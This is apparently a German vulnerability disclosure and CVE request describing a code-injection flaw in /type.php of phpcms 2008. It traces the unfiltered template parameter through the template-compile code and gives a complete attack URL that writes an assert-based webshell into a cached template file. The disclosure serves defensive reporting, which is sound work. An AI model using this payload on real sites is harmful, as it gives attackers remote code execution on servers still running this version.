
Kürzlich haben wir eine Sicherheitslücke in /type.php des phpcms 2008 Quellcodes gefunden. Wenn Angreifer manipulierte Anfragen wie "/type.php?template=tag_(){};@unlink(FILE);assert($_POST[1]);{//../rss" senden, wird bösartiger Inhalt (in diesem Fall "@unlink(FILE);assert($_POST[1]);") in eine Cache-Datei (hier "/cache_template/rss.tpl.php") auf der phpcms 2008 Website geschrieben.
Es gibt folgenden Code in /type.php:
if(empty($template)) $template = 'type';
...
include template('phpcms', $template);
Und template() ist in /include/global.func.php mit folgendem Code definiert:
template_compile($module, $template, $istag);
Wiederum ruft es template_compile() auf, das in /include/template.func.php wie folgt definiert ist:
$compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php';
$content = ($istag || substr($template, 0, 4) == 'tag_') ? '<?php function _tag_'.$module.'_'.$template.'($data, $number, $rows, $count, $page, $pages, $setting){ global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?>'.template_parse($content, 1).'<?php } ?>' : template_parse($content);
$strlen = file_put_contents($compiledtplfile, $content);
Im Angriffs-Payload ist $template auf "tag_(){};@unlink(FILE);assert($_POST[1]);{//../rss" gesetzt.
Der vollständige Pfad, der an file_put_contents() übergeben wird, lautet nun "data/cache_template/phpcms_tag_(){};@unlink(FILE);assert($_POST[1]);{//../rss.tpl.php", was von PHP als "data/cache_template/rss.tpl.php" geparst wird. Und der Inhalt "@unlink(FILE);assert($_POST[1]);" wird in diese Datei geschrieben. Der Angreifer kann diese Datei dann als Webshell verwenden, um beliebigen Code auszuführen.
Die Ursache des Problems ist, dass die Variable $template nicht gefiltert wird, bevor sie als Teil des Dateipfads und Dateiinhalts verwendet wird.
Wir haben den Anbieter von phpcms über die offizielle Website kontaktiert, aber das Telefon ist nicht erreichbar und die Nachricht blieb unbeantwortet. Phpcms 2008 ist nicht die neueste Version von phpcms, aber viele Benutzer verwenden diese Version noch. Die von uns gefundene Sicherheitslücke wurde bisher nicht gefunden oder mit einer CVE-ID versehen. Bitte weisen Sie der Sicherheitslücke eine CVE-ID zu, damit wir Benutzer davor warnen können.